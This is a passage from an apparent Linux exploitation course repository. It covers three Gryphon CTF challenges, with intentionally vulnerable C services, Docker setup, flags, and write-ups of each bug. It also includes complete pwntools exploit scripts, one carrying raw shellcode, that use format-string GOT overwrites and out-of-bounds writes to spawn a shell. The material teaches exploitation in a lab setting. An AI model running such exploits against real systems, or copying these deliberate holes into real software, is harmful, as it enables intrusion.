0; i < times; i++) { 18 | printf(echoed); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/black_beauty/README.md: -------------------------------------------------------------------------------- 1 | Drag Race 2 | --------- 3 | 4 | Lack of negative number validation and writing data outside of the designated 5 | buffer to overwrite a char array pointer to get a write what anywhere primitive. 6 | 7 | # Question Text 8 | 9 | ``` 10 | With a bestselling book under her belt and over fifty million copies sold, Anna 11 | Sewell has decided to go into the stock market. Please help her figure out her 12 | stock market ticker. 13 | 14 | nc play.spgame.site 1350 15 | ``` 16 | 17 | *Creator - amon (@nn_amon)* 18 | 19 | # Setup Guide 20 | 21 | 0. Install docker on the hosting system 22 | 1. Replace the flag in distribute/flag 23 | 2. Build the docker image with: `sh dockerbuild.sh` 24 | 3. Replace the port 1350 with your desired port in dockerrun.sh 25 | 4. Start the docker image: `sh dockerrun.sh` 26 | 5. Test the connectivity with netcat. 27 | 28 | # Exploit Details 29 | 30 | Setting the offset to -8 allows us to write the the symbol member of the 31 | ticker\_tape struct. Now, we can write the address of the src\_file global 32 | variable to the member byte by byte. After we have overwritten the char array 33 | pointer, we can choose to change the symbol to overwrite the src\_file variable 34 | with "/bin/sh". Finally, we trigger the shell by executing the view source 35 | command. 36 | 37 | Working exploit in service/exploit.py. 38 | 39 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/black_beauty/distrib/blackbeauty_6b350b986168bfcf6a85fecc377552dd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/black_beauty/distrib/blackbeauty_6b350b986168bfcf6a85fecc377552dd -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/black_beauty/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #context.log_level = 'debug' 4 | 5 | def main(): 6 | #p = process("./blackbeauty") 7 | p = remote("localhost", 1350) 8 | 9 | # Random tape length 10 | p.sendline("10") 11 | 12 | # Write the address of the src file to the symbol member struct 13 | src_file_address = p64(0x6020a0) 14 | p.sendline("3") 15 | p.sendline("-8") 16 | for i in src_file_address: 17 | p.sendline("2") 18 | p.sendline(str(ord(i))) 19 | 20 | # Write new shell command 21 | p.sendline("4") 22 | p.send("/bin/sh".ljust(16, "\x00")) 23 | 24 | # Spawn the shell 25 | p.sendline("8") 26 | 27 | p.recvrepeat(0.2) 28 | 29 | log.success("Enjoy your shell!") 30 | p.interactive() 31 | 32 | if __name__ == "__main__": 33 | main() 34 | 35 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/dragrace/README.md: -------------------------------------------------------------------------------- 1 | Drag Race 2 | --------- 3 | 4 | Simple reverse the password, and buffer overflow RIP overwrite to shellcode 5 | stored on the executable heap. 6 | 7 | # Question Text 8 | 9 | ``` 10 | This bad binary is all T. All Shade. 11 | 12 | nc play.spgame.site 1345 13 | ``` 14 | 15 | *Creator - amon (@nn_amon)* 16 | 17 | # Setup Guide 18 | 19 | 0. Install docker on the hosting system 20 | 1. Replace the flag in distribute/flag 21 | 2. Build the docker image with: `sh dockerbuild.sh` 22 | 3. Replace the port 1345 with your desired port in dockerrun.sh 23 | 4. Start the docker image: `sh dockerrun.sh` 24 | 5. Test the connectivity with netcat. 25 | 26 | # Exploit Details 27 | 28 | The binary strcpys up to 512 bytes from a location in the heap onto a stack that 29 | has 128 bytes allocated for a character buffer in the function 'violet'. 30 | However, you need to pass a check on the first 8 bytes of the input. The binary 31 | provides the address of the heap buffer. 32 | 33 | If you reverse the binary, you can retrieve the values that pass the check on 34 | the first 8 bytes of the input. Now, you can overwrite RIP by smashing the stack 35 | and place your shellcode at index 8 of the input then jump to that location. 36 | 37 | Working exploit is in service/exploit.py 38 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/dragrace/distrib/dragrace_981dac47f4cb1881baf246df10e73536: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/dragrace/distrib/dragrace_981dac47f4cb1881baf246df10e73536 -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/dragrace/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb" + 4 | "\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") 5 | 6 | #context.log_level = "debug" 7 | 8 | def main(): 9 | #p = process("./dragrace") 10 | p = remote("localhost", 1345) 11 | leak_line = p.recvline().strip() 12 | buffer_address = int(leak_line[22:], 16) 13 | log.info("Buffer Address: 0x%x" % buffer_address) 14 | 15 | payload = "Ru'Pauls" + shellcode 16 | payload = payload.ljust(136, "\x90") 17 | payload += p64(buffer_address + 8) 18 | 19 | p.sendline(payload) 20 | 21 | p.recvrepeat(0.2) 22 | log.success("Enjoy your shell") 23 | p.interactive() 24 | 25 | if __name__ == "__main__": 26 | main() 27 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/OLDREADME.md: -------------------------------------------------------------------------------- 1 | Diapers Simulator 2 | ----------------- 3 | 4 | All server side files are in 'service'. 5 | All files to be distributed to the players are in 'distribute'. Please add the 6 | server address and port in distribute/description. 7 | 8 | # Exploit Details 9 | 10 | There is a vulnerability in the line: 11 | 12 | `memcpy(diaper_profile.brand, "Bunny Rabbit", 12);` 13 | 14 | The struct member length for the brand is 12 so this means that there is no null 15 | terminator for that member. It looks like it is correct because the member for 16 | wetness intentionally contains null bytes. 17 | 18 | There is also an integer underflow on the wetness. You can decrement wetness 19 | until it underflows and hits -1. When you do that, all the null bytes in the 20 | wetness member disappears. 21 | 22 | Changing the brand uses strlen to check how much to fread so now, there is a 23 | possibility of overflowing the brand member into the brand message member. 24 | 25 | The brand message member is used in a format string vulnerability here: 26 | 27 | `printf(diaper_obj->brand_message);` 28 | 29 | Use the format string vulnerability to leak address of printf and calculate libc 30 | base. Then replace puts in GOT with system. On the next call of puts: 31 | 32 | `puts("Shhhhh goodnight sleepy baby... go to b;ed");` 33 | 34 | This will spawn an `ed` calculator instance which lets you get shell by doing 35 | the following statement: 36 | 37 | `!sh` 38 | 39 | Working exploit is in service/exploit.py 40 | 41 | # Deployment Instructions 42 | 43 | 0. Install docker on the hosting system 44 | 1. Replace the flag in distribute/flag 45 | 2. Build the docker image with: `sh dockerbuild.sh` 46 | 3. Replace the port 1343 with your desired port in dockerrun.sh 47 | 4. Start the docker image: `sh dockerrun.sh` 48 | 5. Test the connectivity with netcat. 49 | 50 | libc should have the following hash d58eb4bfe204b6332b9ab3394ea943ef otherwise 51 | replace the libc in distribute. 52 | 53 | Cheers, 54 | - amon. 55 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/README.md: -------------------------------------------------------------------------------- 1 | Mystery Jukebox 2 | --------------- 3 | 4 | Mixture of struct member overflow, and format string vulnerability. Leverage the 5 | format string vulnerability to overwrite GOT entries. 6 | 7 | # Question Text 8 | 9 | ``` 10 | Listen to some Postmodern Jukebox (https://youtu.be/NTmk0Pqk6hs) while playing 11 | with this Mystery Jukebox program! 12 | 13 | nc play.spgame.site 1343 14 | ``` 15 | 16 | *Creator - amon (@nn_amon)* 17 | 18 | # Setup Guide 19 | 20 | 0. Install docker on the hosting system 21 | 1. Replace the flag in distribute/flag 22 | 2. Build the docker image with: `sh dockerbuild.sh` 23 | 3. Replace the port 1343 with your desired port in dockerrun.sh 24 | 4. Start the docker image: `sh dockerrun.sh` 25 | 5. Test the connectivity with netcat. 26 | 27 | libc should have the following hash d58eb4bfe204b6332b9ab3394ea943ef otherwise 28 | replace the libc in distribute. 29 | 30 | # Exploit Details 31 | 32 | There is a vulnerability in the line: 33 | 34 | `memcpy(musics_profile.brand, "Follow Rabbit", 12);` 35 | 36 | The struct member length for the brand is 12 so this means that there is no null 37 | terminator for that member. It looks like it is correct because the member for 38 | volume intentionally contains null bytes. 39 | 40 | There is also an integer underflow on the volume. You can decrement volume 41 | until it underflows and hits -1. When you do that, all the null bytes in the 42 | volume member disappears. 43 | 44 | Changing the brand uses strlen to check how much to fread so now, there is a 45 | possibility of overflowing the brand member into the brand message member. 46 | 47 | The brand message member is used in a format string vulnerability here: 48 | 49 | `printf(musics_obj->brand_message);` 50 | 51 | Use the format string vulnerability to leak address of printf and calculate libc 52 | base. Then replace puts in GOT with system. On the next call of puts: 53 | 54 | `puts("Ohhhhhhh you got it alllll the way down;ed");` 55 | 56 | This will spawn an `ed` calculator instance which lets you get shell by doing 57 | the following statement: 58 | 59 | `!sh` 60 | 61 | Working exploit is in service/exploit.py 62 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/distrib/jukebox_a761352ac202e55d441e7e807d89962b.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/mystery_jukebox/distrib/jukebox_a761352ac202e55d441e7e807d89962b.tar.gz -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #context.log_level = "debug" 4 | 5 | printf_got = 0x804b00c 6 | puts_got = 0x0804b01c 7 | 8 | system_libc_offset = 0x40310 9 | printf_libc_offset = 0x4d410 10 | 11 | def main(): 12 | # p = process("./diapers") 13 | p = remote("localhost", 1343) 14 | p.recv(0x60) # Read the menu 15 | 16 | log.info("Selecting overflowable brand") 17 | p.sendline("3") # Send 3 18 | 19 | p.recv(0x3d) # Read the options 20 | 21 | log.info("Decrementing volume...") 22 | 23 | # Trigger the overflow condition 24 | for i in range(257): 25 | p.sendline("1") 26 | p.recv(0x200) 27 | 28 | log.info("Overflowable") 29 | 30 | ### Leak the GOT addresses ### 31 | 32 | # Write to format string member 33 | p.sendline("0") 34 | 35 | # Payload 36 | payload = "A"*15 + p32(printf_got) + "::%18$s::" 37 | payload = payload.ljust(108, ".") 38 | p.send(payload) 39 | p.recvrepeat(0.4) 40 | 41 | # Trigger the leak to get the dynamic address of strlen 42 | p.sendline("2") 43 | leak = p.recvrepeat(0.4) 44 | delim_index = leak.index("::") + 2 45 | printf_address = u32(leak[delim_index:delim_index+4]) 46 | log.info("Got leak to printf: 0x%x" % printf_address) 47 | 48 | # Calculate libc base 49 | libc_base = printf_address - printf_libc_offset 50 | log.info("libc Base: 0x%x" % libc_base) 51 | 52 | # Calculate system address 53 | system_address = libc_base + system_libc_offset 54 | log.info("System Address: 0x%x" % system_address) 55 | 56 | ### Perform the Exploitation Overwrite ### 57 | 58 | # Write to format string member 59 | p.sendline("0") 60 | 61 | # Payload 62 | fmt = fmtstr_payload(18, {puts_got: system_address}) 63 | payload = "A"*11 + "\x00"*4 + fmt 64 | payload = payload.ljust(108, "\x00") 65 | p.send(payload) 66 | p.recv(0x500) 67 | 68 | # Trigger the overwrite and get shell 69 | p.sendline("2") 70 | p.sendline("!sh") # Cause of the ed 71 | p.recvrepeat(0.4) 72 | 73 | log.success("Enjoy your shell") 74 | 75 | p.interactive() 76 | 77 | if __name__ == "__main__": 78 | main() 79 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/README.md: -------------------------------------------------------------------------------- 1 | Diapers Simulator 2 | ----------------- 3 | 4 | All server side files are in 'service'. 5 | All files to be distributed to the players are in 'distribute'. Please add the 6 | server address and port in distribute/description. 7 | 8 | # Exploit Details 9 | 10 | There is a vulnerability in the line: 11 | 12 | `memcpy(diaper_profile.brand, "Bunny Rabbit", 12);` 13 | 14 | The struct member length for the brand is 12 so this means that there is no null 15 | terminator for that member. It looks like it is correct because the member for 16 | wetness intentionally contains null bytes. 17 | 18 | There is also an integer underflow on the wetness. You can decrement wetness 19 | until it underflows and hits -1. When you do that, all the null bytes in the 20 | wetness member disappears. 21 | 22 | Changing the brand uses strlen to check how much to fread so now, there is a 23 | possibility of overflowing the brand member into the brand message member. 24 | 25 | The brand message member is used in a format string vulnerability here: 26 | 27 | `printf(diaper_obj->brand_message);` 28 | 29 | Use the format string vulnerability to leak address of printf and calculate libc 30 | base. Then replace puts in GOT with system. On the next call of puts: 31 | 32 | `puts("Shhhhh goodnight sleepy baby... go to b;ed");` 33 | 34 | This will spawn an `ed` calculator instance which lets you get shell by doing 35 | the following statement: 36 | 37 | `!sh` 38 | 39 | Working exploit is in service/exploit.py 40 | 41 | # Deployment Instructions 42 | 43 | 0. Install docker on the hosting system 44 | 1. Replace the flag in distribute/flag 45 | 2. Build the docker image with: `sh dockerbuild.sh` 46 | 3. Replace the port 1343 with your desired port in dockerrun.sh 47 | 4. Start the docker image: `sh dockerrun.sh` 48 | 5. Test the connectivity with netcat. 49 | 50 | libc should have the following hash d58eb4bfe204b6332b9ab3394ea943ef otherwise 51 | replace the libc in distribute. 52 | 53 | Cheers, 54 | - amon. 55 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/distribute/description: -------------------------------------------------------------------------------- 1 | Ready to be a parent? Test your 1337 parenting skillz out with our Diaper 2 | Simultator! 3 | 4 | nc xxx.xxx.xxx.xxx 1343 5 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/distribute/diapers_acfc5af90bb1debbe5acfcb51873890e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/mystery_jukebox/old/distribute/diapers_acfc5af90bb1debbe5acfcb51873890e -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/distribute/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/mystery_jukebox/old/distribute/libc-2.19.so -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=diaperuser 3 | RUN dpkg --add-architecture i386 4 | RUN apt-get update 5 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 ed 6 | RUN useradd -m $user 7 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 8 | COPY ./diapers /home/$user/diapers 9 | COPY ./flag /home/$user/flag 10 | COPY ./diaperservice /etc/xinetd.d/diaperservice 11 | RUN chown -R root:$user /home/$user 12 | RUN chmod -R 750 /home/$user 13 | RUN chown root:$user /home/$user/flag 14 | RUN chmod 440 /home/$user/flag 15 | EXPOSE 31337 16 | CMD ["/usr/sbin/xinetd", "-d"] 17 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/Makefile: -------------------------------------------------------------------------------- 1 | all: diapers.c 2 | gcc -m32 -fstack-protector -o diapers diapers.c 3 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/diapers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/diapers -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/diapers.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | struct diaper { 6 | char brand[12]; 7 | int wet; 8 | char brand_message[100]; 9 | }; 10 | 11 | char * easter_egg = "d8dae94c2028d44c6cfe7834348df6659096102c3412988ebc1ff033bdbfb319"; 12 | 13 | void change_brand(struct diaper * diaper_obj) { 14 | int length = strlen(diaper_obj->brand); 15 | printf("Please enter brand to change to: "); 16 | fread(diaper_obj->brand, length, 1, stdin); 17 | printf("Diaper brand changed to: %s\n", diaper_obj->brand); 18 | } 19 | 20 | void change_diapers(struct diaper * diaper_obj) { 21 | --diaper_obj->wet; 22 | printf("Changed diaper. Wetness level: %d\n", diaper_obj->wet); 23 | } 24 | 25 | void spill_water(struct diaper * diaper_obj) { 26 | ++diaper_obj->wet; 27 | printf("Babby cries\n"); 28 | } 29 | 30 | void leave_baby(struct diaper * diaper_obj) { 31 | printf("And now a message from our sponsors:\n"); 32 | printf(diaper_obj->brand_message); 33 | puts("\n"); 34 | if (diaper_obj->wet) { 35 | printf("Sorry, you're not allowed to leave your baby unless it's dry!\n"); 36 | } 37 | else { 38 | puts("Shhhhh goodnight sleepy baby... go to b;ed"); 39 | exit(0); 40 | } 41 | } 42 | 43 | void diaper_simulator() { 44 | // Zero the diaper struct 45 | struct diaper diaper_profile; 46 | memset(&diaper_profile, 0, sizeof(diaper_profile)); 47 | 48 | // Display a list of diaper brands to set 49 | printf("Pick a brand:\n"); 50 | printf("1. Bumstrat\n"); 51 | printf("2. Sunny\n"); 52 | printf("3. Bunny Rabbit\n"); 53 | printf("4. Memememe\n"); 54 | printf("5. Chilled ZZZZ\n"); 55 | printf("> "); 56 | 57 | // Get number from user 58 | int choice = 0; 59 | scanf("%d", &choice); 60 | 61 | // Check that number is within the range 62 | if (choice <= 0 || choice > 5) { 63 | printf("Invalid Diaper brand\n"); 64 | exit(1); 65 | } 66 | 67 | // Initialise the diapers with the parameters 68 | switch(choice) { 69 | case 1: 70 | memcpy(diaper_profile.brand, "Bumstrat", 8); 71 | strcpy(diaper_profile.brand_message, "Happy bums!"); 72 | break; 73 | case 2: 74 | memcpy(diaper_profile.brand, "Sun", 3); 75 | strcpy(diaper_profile.brand_message, "Sunshines and sparkles"); 76 | break; 77 | case 3: 78 | memcpy(diaper_profile.brand, "Bunny Rabbit", 12); 79 | strcpy(diaper_profile.brand_message, "Hippity hoppity hippity hop hop! Bunny Rabbits the best in town! Get a rabbit for your child!"); 80 | break; 81 | case 4: 82 | memcpy(diaper_profile.brand, "Memememe", 8); 83 | strcpy(diaper_profile.brand_message, "Best sleep of your life!"); 84 | break; 85 | case 5: 86 | memcpy(diaper_profile.brand, "Chilled ZZZZ", 12); 87 | strcpy(diaper_profile.brand_message, "zz"); 88 | break; 89 | } 90 | diaper_profile.wet = 256; // Wetness 91 | 92 | char cont = 1; 93 | while (cont) { 94 | if (diaper_profile.wet) { 95 | printf("Diapers are still wet...\n"); 96 | } 97 | else { 98 | printf("Cool! Diapers are dry!\n"); 99 | } 100 | printf("0) Change Brand\n"); 101 | printf("1) Change Diapers\n"); 102 | printf("2) Leave\n"); 103 | printf("> "); 104 | scanf("%d", &choice); 105 | switch(choice) { 106 | case 0: 107 | change_brand(&diaper_profile); 108 | break; 109 | case 1: 110 | change_diapers(&diaper_profile); 111 | break; 112 | case 2: 113 | leave_baby(&diaper_profile); 114 | break; 115 | case 42: 116 | spill_water(&diaper_profile); 117 | break; 118 | default: 119 | printf("Invalid choice\n"); 120 | break; 121 | } 122 | choice = -1; 123 | } 124 | } 125 | 126 | int main() { 127 | setvbuf(stdin, NULL, _IONBF, 0); 128 | setvbuf(stdout, NULL, _IONBF, 0); 129 | 130 | puts("Welcome to the Diaper Change Simulator\n"); 131 | diaper_simulator(); 132 | } 133 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/diaperservice: -------------------------------------------------------------------------------- 1 | service diaperservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = diaperuser 8 | bind = 0.0.0.0 9 | server = /home/diaperuser/diapers 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | 14 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t diapers . 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1343:31337 diapers 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #context.log_level = "debug" 4 | 5 | printf_got = 0x804b00c 6 | puts_got = 0x0804b01c 7 | 8 | system_libc_offset = 0x40310 9 | printf_libc_offset = 0x4d410 10 | 11 | def main(): 12 | # p = process("./diapers") 13 | p = remote("localhost", 1343) 14 | p.recv(0x60) # Read the menu 15 | 16 | log.info("Selecting overflowable brand") 17 | p.sendline("3") # Send 3 18 | 19 | p.recv(0x3d) # Read the options 20 | 21 | log.info("Decrementing wetness...") 22 | 23 | # Trigger the overflow condition 24 | for i in range(257): 25 | p.sendline("1") 26 | p.recv(0x200) 27 | 28 | log.info("Overflowable") 29 | 30 | ### Leak the GOT addresses ### 31 | 32 | # Write to format string member 33 | p.sendline("0") 34 | 35 | # Payload 36 | payload = "A"*15 + p32(printf_got) + "::%18$s::" 37 | payload = payload.ljust(108, ".") 38 | p.send(payload) 39 | p.recvrepeat(0.4) 40 | 41 | # Trigger the leak to get the dynamic address of strlen 42 | p.sendline("2") 43 | leak = p.recvrepeat(0.4) 44 | delim_index = leak.index("::") + 2 45 | printf_address = u32(leak[delim_index:delim_index+4]) 46 | log.info("Got leak to printf: 0x%x" % printf_address) 47 | 48 | # Calculate libc base 49 | libc_base = printf_address - printf_libc_offset 50 | log.info("libc Base: 0x%x" % libc_base) 51 | 52 | # Calculate system address 53 | system_address = libc_base + system_libc_offset 54 | log.info("System Address: 0x%x" % system_address) 55 | 56 | ### Perform the Exploitation Overwrite ### 57 | 58 | # Write to format string member 59 | p.sendline("0") 60 | 61 | # Payload 62 | fmt = fmtstr_payload(18, {puts_got: system_address}) 63 | payload = "A"*11 + "\x00"*4 + fmt 64 | payload = payload.ljust(108, "\x00") 65 | p.send(payload) 66 | p.recv(0x500) 67 | 68 | # Trigger the overwrite and get shell 69 | p.sendline("2") 70 | p.sendline("!sh") # Cause of the ed 71 | p.recvrepeat(0.4) 72 | 73 | log.success("Enjoy your shell") 74 | 75 | p.interactive() 76 | 77 | if __name__ == "__main__": 78 | main() 79 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/flag: -------------------------------------------------------------------------------- 1 | FLAG{PleaseReplaceThisFlag} 2 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/challenges/mystery_jukebox/old/service/libc-2.19.so -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Advanced Exercises 2 | 3 | You're completely on your own for this section! These exercises come from the 4 | challenges I wrote for Gryphon CTF, a capture the flag competition run by the 5 | students at Singapore Polytechnic for their peers. 6 | 7 | ## Exercise 14.1: Drag Race 8 | 9 | ``` 10 | This bad binary is all T. All Shade. 11 | 12 | nc localhost 1345 13 | ``` 14 | 15 | The binary can be found [here][1]. Try to do it without access to the source 16 | code but if you need it, it can be found [here][2]. 17 | 18 | ## Exercise 14.2: Black Beauty 19 | 20 | ``` 21 | With a bestselling book under her belt and over fifty million copies sold, Anna 22 | Sewell has decided to go into the stock market. Please help her figure out her 23 | stock market ticker. 24 | 25 | nc localhost 1350 26 | ``` 27 | 28 | [Binary][3]. 29 | 30 | [Source code][4], if you need it. 31 | 32 | ## Exercise 14.3: Mystery Jukebox 33 | 34 | ``` 35 | Listen to some Postmodern Jukebox (https://youtu.be/NTmk0Pqk6hs) while playing 36 | with this Mystery Jukebox program! 37 | 38 | nc play.spgame.site 1343 39 | ``` 40 | 41 | [Binary and Libc][5]. 42 | 43 | [Source code][6], if you need it. 44 | 45 | 46 | [1]: ./challenges/dragrace/distrib/dragrace_981dac47f4cb1881baf246df10e73536 47 | [2]: ./services/dragrace/dragrace.c 48 | [3]: ./challenges/black_beauty/distrib/blackbeauty_6b350b986168bfcf6a85fecc377552dd 49 | [4]: ./services/black_beauty/blackbeauty.c 50 | [5]: ./challenges/mystery_jukebox/distrib/jukebox_a761352ac202e55d441e7e807d89962b.tar.gz 51 | [6]: ./services/mystery_jukebox/jukebox.c 52 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=blackbeautyuser 3 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 4 | RUN apt-get update 5 | RUN apt-get install -y xinetd 6 | RUN useradd -m $user 7 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 8 | COPY ./blackbeauty /home/$user/blackbeauty 9 | COPY ./blackbeauty.c /home/$user/blackbeauty.c 10 | COPY ./flag /home/$user/flag 11 | COPY ./blackbeautyservice /etc/xinetd.d/blackbeautyservice 12 | RUN chown -R root:$user /home/$user 13 | RUN chmod -R 750 /home/$user 14 | RUN chown root:$user /home/$user/flag 15 | RUN chmod 440 /home/$user/flag 16 | EXPOSE 31337 17 | CMD ["/usr/sbin/xinetd", "-d"] 18 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/Makefile: -------------------------------------------------------------------------------- 1 | all: blackbeauty.c 2 | gcc -o blackbeauty blackbeauty.c 3 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/blackbeauty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/services/black_beauty/blackbeauty -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/blackbeauty.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char src_file[40] = "cat /home/blackbeautyuser/blackbeauty.c"; 6 | 7 | struct ticker_tape { 8 | long length; 9 | char * symbol; 10 | char tape[128]; 11 | }; 12 | 13 | void tape_machine(int user_length) { 14 | struct ticker_tape user_tape; 15 | user_tape.length = user_length; 16 | user_tape.symbol = malloc(16); 17 | strcpy(user_tape.symbol, "LANA"); 18 | memset(user_tape.tape, 0, 128); 19 | long position = 0; 20 | int running = 1; 21 | int choice = 0; 22 | int i = 0; 23 | char value = 0; 24 | while (running) { 25 | puts("Ticker Tape Menu:"); 26 | puts("1) Print stock values"); 27 | printf("2) Write value at position %d\n", position); 28 | puts("3) Seek to position"); 29 | puts("4) Change symbol"); 30 | puts("8) View Source"); 31 | puts("\n9) Exit"); 32 | scanf("%d", &choice); 33 | if (choice == 9) { 34 | running = 0; 35 | } 36 | else if (choice == 1) { 37 | puts(user_tape.symbol); 38 | for (i = 0; i < user_tape.length; i++) { 39 | printf("#%d\n", user_tape.tape[i]); 40 | } 41 | } 42 | else if (choice == 2) { 43 | if (position < user_tape.length) { 44 | printf("Enter value: "); 45 | scanf("%d", &value); 46 | *(user_tape.tape + position) = value; 47 | ++position; 48 | } 49 | else { 50 | puts("End of tape."); 51 | } 52 | } 53 | else if (choice == 3) { 54 | printf("Enter position: "); 55 | scanf("%ld", &position); 56 | } 57 | else if (choice == 4) { 58 | printf("Change symbol: "); 59 | read(0, user_tape.symbol, 16); 60 | } 61 | else if (choice == 8) { 62 | system(src_file); 63 | } 64 | } 65 | } 66 | 67 | int main() { 68 | setvbuf(stdin, NULL, _IONBF, 0); 69 | setvbuf(stdout, NULL, _IONBF, 0); 70 | 71 | puts("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"); 72 | puts("% Nothing my sparrow, blue. %"); 73 | puts("% Oh what can I do? %"); 74 | puts("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"); 75 | puts("% Stock Ticker Tape Program %"); 76 | puts("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"); 77 | 78 | int user_length = 0; 79 | printf("Please enter your ticker tape length: "); 80 | scanf("%d", &user_length); 81 | if (user_length > 128 || user_length < 0) { 82 | puts("We don't have enough space to store your ticker tape."); 83 | } 84 | else { 85 | tape_machine(user_length); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/blackbeautyservice: -------------------------------------------------------------------------------- 1 | service blackbeautyservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = blackbeautyuser 8 | bind = 0.0.0.0 9 | server = /home/blackbeautyuser/blackbeauty 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | 14 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t blackbeauty . 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1350:31337 blackbeauty 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/black_beauty/flag: -------------------------------------------------------------------------------- 1 | GCTF{Th31r_m4gn1f1c3nce_1t_d0nt_make_sn3se_t0_you} 2 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=draguser 3 | RUN sed -i -e 